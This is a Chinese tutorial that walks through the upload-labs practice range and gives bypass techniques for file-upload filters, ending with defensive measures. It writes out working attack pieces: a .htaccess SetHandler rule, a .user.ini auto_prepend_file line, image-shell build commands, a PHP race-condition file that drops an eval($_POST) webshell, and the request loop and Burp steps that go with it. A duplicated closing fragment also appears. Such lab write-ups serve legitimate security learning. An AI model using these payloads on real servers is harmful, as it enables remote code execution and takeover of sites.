赞
踩
本文的漏洞复现不一定会成功的,因为由于环境问题,很多地方无法复现,这里主要学习的是思路,经过多次尝试之后,无法实现就要考虑跳过了,思路最重要,经过upload-labs靶场复现,可以学习到各式各样的姿势利用文件上传漏洞去getshell,其中使用到了图片马,条件竞争,系统特征绕过,MIME类型绕过,双写绕过,等价扩展名绕过,
.htaccess
绕过,.ini
绕过,%00文件名截断,0x00文件名截断,文件头绕过等
抓包改后缀(可以判断是否有后台校验)
MIME类型绕过(image/jpeg等)
大小写绕过
不常用扩展名绕过(
.phtml,.php3,.php4,php5等
)
.htaccess
绕过创建
.htaccess
文件并上传,文件内容为:<FilesMatch "a.jpg"> SetHandler application/x-httpd-php </FilesMatch>
- 1
- 2
- 3
解释:这个文件表示让php将jpg图片以php的形式解析
上传这个
.htaccess
文件之后,php就可以把jpg当做php解析了.ini绕过
auto_prepend_file=shell.jpg
- 1
ini文件中的内容的含义是让当前目录下的所有文件包含shell.jpg文件
通过ini文件,告诉服务器解析的时候需要包含某个文件,这个文件就是我们的恶意文件,所以我们访问上传目录原有的readme.php文件之后,该文件会包含shell.jpg,从而利用文件包含漏洞getshell
windows自动忽略
\
,.
,空格,
,::$DATA
当然,想要完成所有关卡,必不可少的需要知道图片马如何制作,图片马的利用又需要使用到文件包含漏洞。
windows:copy huaji.jpg /b + shell.php /a a.jpg
Linux:cat huaji.jpg shell.php > shell.jpg
利用文件包含漏洞执行图片马
http://localhost/upload-labs/include.php? file=upload/2120211019235856.gif
靶场检测:前端白名单过滤
前端js过滤了上传的文件类型,修改shell后缀为jpg,BP抓包,修改回php即可,js过滤逻辑代码如下:
靶场检测:MIME类型过滤
这关其实也可以像第一关一样,修改木马后缀然后抓包改后缀即可,但是查看源码,可知题意是让我们上传php文件,然后抓包修MIME类型即可:
修改Content-Type:
修改 符合 要求的type:
靶场检测:黑名单过滤,文件名后缀处理
抓包修改后缀也是这样提示,因此可以判断这一关在后台做了过滤,并且是黑名单过滤。
查看源码:
通过源码可知,这关是在后台通过黑名单过滤了后缀,所以抓包修改后缀没用,因为前端穿过去的数据,后台会做校验,所以之前抓包修改后缀的方式无效。
这里可以考虑使用其他和php一样的后缀名,因为php的后缀名有多种,可以利用这点,绕过后台检测。
比如我们可以通过不常见的等价php扩展名绕过黑名单的限制:.phtml,.php3,.php4,.php5
于是我将文件名修改为:shell.phtml
,然后通过F12查看文件路径:
发现我们的文件名发生了变化,通过源码分析也可知道,后台对我们的文件名做了修改。所以使用webshell工具连接的时候需要通过F12找到的文件名路径来连接。
查看提示之后,发现这些后缀不可以上传,也是做了黑名单过滤,而且是后台过滤
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件
但是,黑名单中忽略了.htaccess后缀
所以可以上传.htaccess 到网站里.htaccess 内容是
<FilesMatch "a.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
再上传恶意的 jpg 到与.htaccess 相同目录里,访问图片即可以执行php的形式执行
查看源码也可知道,后台做了黑名单过滤,并且对后缀进行转换为小写了:
注意:
要想复现,需要去修改Apache的httpd.conf配置文件
<Directory /> Options +Indexes +FollowSymLinks +ExecCGI AllowOverride none Order allow,deny Allow from all Require all granted </Directory>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
改为
<Directory /> Options +Indexes +FollowSymLinks +ExecCGI AllowOverride all Order allow,deny Allow from all Require all granted </Directory>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
先看一下提示,上传的目录存在一个名为readme.php文件
因为.ini后缀的文件可以上传,所以我们可以上传一个.user.ini文件来改变服务器配置
具体方法:上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了(正常的文件即本身自带的readme.php)。
我们就可以利用到readme.php包含一个我们上传的木马文件,再连接readme.php文件达到连接一句话木马的目的
.ini的文件内容:auto_prepend_file=shell.jpg(其中shell.jpg是自己上传的木马图片)
具体操作
第一步:首先上传一个.user.ini文件
因为jpg没有在黑名单的限制之内,所以可以修改后缀名为jpg绕过上传限制
最后就是用菜刀或蚁剑连接readme.php,达到连接shell.jpg一句话木马的效果
靶场检测:黑名单过滤,文件名后缀处理
看源码:
通过源码可以发现黑名单中没有过滤
PHP
大写,所以可以抓包进行大小写绕过,但是需要看对方服务器版本
靶场检测:黑名单过滤,文件名后缀处理
看源码可知没有去除空格,所以可以借助空格绕过,因为空格在windows中是会自动删除的
靶场检测:黑名单过滤,文件名后缀处理
源码中没有去除文件名末尾的
.
,而且windows中也会自动去除文件名末尾的.
,所以可以借此绕过
靶场检测:黑名单过滤,文件名后缀处理
源码中没有去除文件名末尾的
::$DATA
,而且windows中也会自动去除文件名末尾的::$DATA
,所以可以借此绕过
靶场检测:黑名单过滤,文件名后缀处理
由源码可知,对文件名末尾的点,大小写转换,去除了::$DATA,首位去空了,但是这些操作只会执行一次,所以我们可以抓包,加上后缀
. .
,这样程序在经过处理之后,我们的文件名就只剩一个.
,可以绕过黑名单检测,最后在服务器中自动去除.
,我们就可以正常访问shell.php了
抓包修改如图:
靶场检测:黑名单检测,str_ireplace()
函数用空字符串代替非法后缀名
使用双写pphphp后缀绕过
BP抓包改包如下:
靶场检测:白名单过滤,
绕过方式:GET请求中使用url的00截断
文件名截断原理:程序会把我们上传的文件通过一个URL参数重新指定上传路径并重命名,为了绕过检测,我们必须上传合法后缀,但是为了不被重命名为合法后缀,所以需要利用系统漏洞:遇到ASCII为0的字符的时候,会忽略后面的内容,所以我们抓包后在重命名文件后面加上00字符,造成截断目的,从而达到将我们的jpg文件变为php文件的目的
php版本复现成功:php5.5.9nts
源码:
GET方式00截断
靶场检测:白名单检测
源码:
POST方式文件名00截断
使用 +
号是为了在十六进制中定位该处的代码,然后将+号的十六进制2b
改为00
改完之后放包,即可发现文件上传成功
靶场检测:通过文件头编码检测
源码:
分析:通过源码可知,该靶场使用了文件头检测,如果我们的文件是php,即使修改后缀为jpg,他的文件头还是php特征的,所以必须上传一个真正的图片,图片中又要有恶意代码,所以需要上传图片马
php版本:7.3.4nts
windows:copy huaji.jpg /b + shell.php /a a.jpg
Linux:cat huaji.jpg shell.php > shell.jpg
利用文件包含漏洞执行图片马
http://localhost/upload-labs/include.php?file=upload/2120211019235856.gif
靶场检测:getimagesize()
函数判断文件名大小是否为图片
绕过思路:直接上传图片马即可通过检测,再通过靶场的文件包含漏洞可以getshell
源码:
靶场检测:文件头检测,通过exif_imagetype()
函数,在检查检测文件头部编码之后自动判断文件类型
绕过方式:依旧同15关一样,使用图片马+靶场的文件包含漏洞即可直接绕过
环境:php7.3.4nts,在phpstudy中需要开启ext扩展exif
php7.4.22ts版本,如果失败需要多试几个版本
开启扩展:php_exif
靶场特点:imagecreatefromjpeg()
函数可以由文件或URL创建一个新图像
源码:
本关会对图片进行二次渲染,所以需要对比上传的图片马和二次渲染后的图片马,看看有什么不同,怎么修改我们的图片马才能保证二次渲染的时候不会把我们的图片马删除,网上可以找到已经写好的图片,不会被二次渲染删除恶意代码。
靶场检测:通过判断,如果发现文件中的文件不在白名单,将会删除文件
复现环境:php7.3.4nts
利用服务器删除代码的时间差去访问木马文件,并且让这个木马文件生成一个新的文件,保证新的木马文件一直存在服务器中,不会被删除,可以通过木马
使用以下条件竞争代码,不断的上传这段代码,可以通过BP多线程上传,然后提高这个代码在服务器中的存活时间,以便我们在浏览器访问到这个文件,进而让这个文件在服务器中创建一个名为shell.php的文件。
competition.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["yuanboss"])?>');?>
使用BP多线程上传提高文件存活时间
1.将上传请求发送到Intruder,清空攻击点
2.设置payload为Null payloads,并勾选continue indefinitely
无限持续的发送
3.调大线程池
4.开始攻击
5.然后我们在目标服务器中可以看到 competition.php
文件一直循环出现消失,这个时候就可以在浏览器中访问让他生成shell.php了
6.经过浏览器多次访问之后,发现服务器成功出现了shell.php
当然如果担心手速也可以通过以下python代码来访问competition.php
文件:
import requests
url = "http://localhost/upload-labs/upload/competition.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
然后执行这个Python文件,控制台输出ok即表示创建shell.php成功
7.蚁剑连接成功
重命名条件竞争
利用Apache的解析漏洞:如果文件名为shell.php.*,都会当做shell.php解析
复现环境:
1.修改靶场的代码,因为这个靶场代码有问题,找到这个靶场的myupload.php文件,按照如下方式修改即可:
看源码:
因为这个靶场会把我们的文件进行重命名,所以需要利用来不及重命名的条件竞争,将我们的这个shell.php.7z文件上传至目标服务器,又由于这个靶场中的白名单包括了.7z等其他后缀名,所以可以通过上传文件shell.php.7z,借助Apache解析漏洞将文件shell.php.7z作为shell.php文件解析。从而完成利用
注意:可能由于Apache版本,php版本原因无法复现,我们只需要知道如果程序会对我们上传的文件进行重命名,就可以利用重名的间隙来进行条件竞争,借助文件存在服务器短暂的时间,执行我们的文件。
/.
绕过)绕过方式:通过/.
源码:
由源码可知,通过save_name
的值,会获取我们的文件名后缀,然后判断后缀是否在黑名单中,如果不在,就会将我们的文件名和save_name的后缀进行拼接,move_uploaded_file函数执行上传动作,该函数会忽略文件末尾的/.,因此可以在文件名后加/.这个符号来绕过黑名单的限制,最后成功上传php后缀文件
通过设置文件名:后缀加上/.
即可绕过
源码:
分析源码 可知,该程序会先判断我们上传的文件类型,所以需要先抓包改MIME类型与后缀名,然后源码中使用了explode,如果文件不是数组,那就把文件拆分为数组,如果文件是数组的话,就 跳过那个is_array判断
通过end()函数获取数组中的最后一个对象,判断他是否属于白名单内容,如果不属于,那就报错,属于白名单,那就通过reset函数去数组中的第一个对象,然后使用
.
拼接,然后再通过count函数统计数组中的对象的数量,注意count函数的特性,他不会统计空对象的数量所以通过上面的分析,我们可通过以下方式绕过,我们抓包之后,直接给save_name取下标2,并且把这个下标当做最后一个对象,这个时候下标2的数据改为jpg后缀即可,然后reset函数会取我们的save_name[0],这个时候可以改后缀为php,因为save_name下标我们最大取了2,所以save_name数组中有3个对象,然后save_name[0]没有任何值,属于空对象,所以
reset($file)
拼接了一个点之后,再拼接下标为1的对象(因为count已经判断出一共就有2个有效对象),所以去下标1对象的时候相当于取的空,这个时候拼接之后,结果就是upload-20.php
.,这个上传到windows中,会把后面的.
自动去除,然后就达到了上传木马的目的了
通过这个靶场,学会了多种绕过姿势,对于靶场的检测,分为客户端检测和服务端检测:
客户端检测一般都是通过JS检测的,这个绕过最简单,因为一切校验都在客户端,我们可以随意修改绕过,可以直接给浏览器禁用JS,或者直接F12删除校验代码,或者抓包改包即可绕过。
而服务端就相对比较难了,服务端检测也有多种姿势,比如检查后缀,检查内容,或者其他逻辑问题
检查后缀分为黑名单与白名单
黑名单的话可以考虑一些系统特征绕过,比如windows系统一般会把文件名中的
末尾的.
自动去除,空格
也会自动去除,::$DATA
也会自动去除,借助windows系统的这个特征,可以上传后缀名中带这些特征的内容,从而绕过黑名单有些黑名单过滤不全,可能会遗漏大小写,
.htaccess
特殊文件后缀,.ini
后缀,等价扩展名后缀,这些疏忽就能给我们转空子的机会,比如我们可以使用大小写绕过黑名单检测,使用.htaccess
给服务器动态配置,让服务器解析我们的图片的时候是以php的形式解析,.ini
配置文件我们也可以自己设置,改变服务器的解析方式,等价扩展名可以使用.php3,.php5,.phtml
等有的检测是针对后缀名的,如果后缀名存在黑名单中,就会将后缀名替换为空字符串,但是因为代码只会替换一次,所以可以进行双写绕过。
白名单的话相对于黑名单就更加的安全了,白名单只认识合法后缀名,其他什么扩展名啥的,都直接过滤,不会因为遗漏哪个等价扩展名导致绕过的风险,所以白名单中一般都会借助其他的方式,比如文件名截断,有的程序在拿到我们上传的文件之后,会先检测文件是否合法,合法的话会给他进行重命名并且拼接,所以借助这个逻辑,可以把我们的恶意文件修改为合法后缀名,然后抓包修改他重命名参数的值,比如本靶场的12关13关,修改save_path的值,让程序给我们的文件重命名,所以我们可以修改为php后缀,但是又因为会拼接我们上传的文件名,我们上传的文件名肯定是合法的,所以要让他拼接的时候不要拼接到我们的合法文件名,因为一旦拼接了合法的,后缀就是合法的,比如修改后的文件名还是jpg,是达不到利用目的的,为了让他拼接失效,就可以利用系统漏洞,00截断,在ASCII码中,0表示停止解析,当系统遇到0的时候,就会丢弃后面的,所以在URL中,我们可以通过URL的00截断,
%00
截断程序对后面的合法文件名的拼接,从而让php文件成功保存在靶机中。00截断中,如果重命名的参数是GET形式的,就需要使用URL的00截断
%00
(第12关),如果重命名参数是POST形式的,就需要将十六进制改成00,通过BP抓包即可完成修改。检查内容也是有多种姿势的
比如直接检查文件头,通过
getimagesize()
函数来检测文件是否符合图片大小的特征,通过exif_imagetype()
函数直接判断文件扩展名这些都是直接针对我们的文件本身进行检测的,所以就算我们给文件名成功该后缀,也是没用的,因为他的文件特征就是PHP,无法更改的,所以遇到对检查内容的检测:我们只能上传一个真正的图片,并且让图片具有我们的恶意代码,并且还需要找一个文件包含漏洞,让这个漏洞来解析我们包含恶意代码的图片。所以就只能将普通图片与木马文件结合,生成图片马,然后使用文件包含漏洞对我们的图片进行解析,从而达到利用目的,这个方式可以绕过检测文件头,
getimagesize()
函数检测,exif_imagetype()
函数检测但是还有一个会修改我们的图片马的检测姿势–二次渲染,程序通过:
imagecreatefromjpeg()
函数,根据文件或URL创建一个新图像,这个新的图像是不会包含我们的恶意代码的,但是我们可以拿我们的图片马和他新生成的图片的特征做对比,比如可以使用010Editor
工具,通过对比来找到程序创建新图片的特征,然后我们根据这个特征修改图片马,让程序创建新图片之后仍然保留我们的恶意代码,通常自己对比十六进制差异比较繁琐,所以一般网上都有这个二次渲染过的图片,可以根据这个思路去找到。接下来就是逻辑问题了,主要是利用一些条件的竞争,比如时间差,来不及重命名
**时间差:**有的程序虽然做了白名单过滤,但是是在上传文件之后再通过白名单来过滤判断的,所以说我们上传php文件之后,是不会立即删除的,会经过程序判断之后,再从服务器删除,代码判断虽然很快,但是我们如果多线程并发上传php文件,就能提升php在服务器中的存活时间,在这个php文件存活在服务器的时候,我们可以对这个文件进行成功访问,但是这是不稳定的,因为这个php过一会就会删除,所以需要通过这个文件生成一个新的恶意文件,新的恶意文件是不在程序处理范围之内的,所以我们就可以永久让恶意文件存在服务器中
**来不及重命名:**有的程序在上传文件之后,会对文件进行重命名,但是在重命名之前,这个文件是存在的,比如第19关就是这个情况,可以利用这个来不及重命名的特点,多线程并发上传恶意文件,但是上传到服务器之前其实肯定有过滤的,是先经过过滤,再上传到服务器,再重命名,所以这个时候就要借助另一个漏洞了,Apache的解析漏洞,他会把shell.php.*文件当做shell.php来解析,因此我们可以使用shell.php.7z来绕过白名单
可以通过这个图来梳理:
基本流程
- 找到上传位置
- 尝试绕过校验,上传文件
- 获得文件上传后的位置
- 蚁剑连接,管理文件
其他姿势
Redis 持久化+未授权访问漏洞
MySQL读写 select into file
文件上传漏洞发生的前提
- 网站上传功能正常使用
- 文件类型允许上传
- 上传路径可以确定
- 文件可以被访问,可以被执行或被包含
防御措施
- 扩展名(后缀)黑白名单
- MIME类型校验(image/gif)
- 文件内容头校验(GIF89a)
- 对文件内容进行二次渲染
- 对上传的文件重命名,不易被猜测
- 不要暴露上传文件的位置
器之前其实肯定有过滤的,是先经过过滤,再上传到服务器,再重命名,所以这个时候就要借助另一个漏洞了,Apache的解析漏洞,他会把shell.php.*文件当做shell.php来解析,因此我们可以使用shell.php.7z来绕过白名单可以通过这个图来梳理:
[外链图片转存中…(img-0Z3LNeeF-1690101025687)]
基本流程
- 找到上传位置
- 尝试绕过校验,上传文件
- 获得文件上传后的位置
- 蚁剑连接,管理文件
其他姿势
Redis 持久化+未授权访问漏洞
MySQL读写 select into file
文件上传漏洞发生的前提
- 网站上传功能正常使用
- 文件类型允许上传
- 上传路径可以确定
- 文件可以被访问,可以被执行或被包含
防御措施
- 扩展名(后缀)黑白名单
- MIME类型校验(image/gif)
- 文件内容头校验(GIF89a)
- 对文件内容进行二次渲染
- 对上传的文件重命名,不易被猜测
- 不要暴露上传文件的位置
- 禁用上传文件的执行权限
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。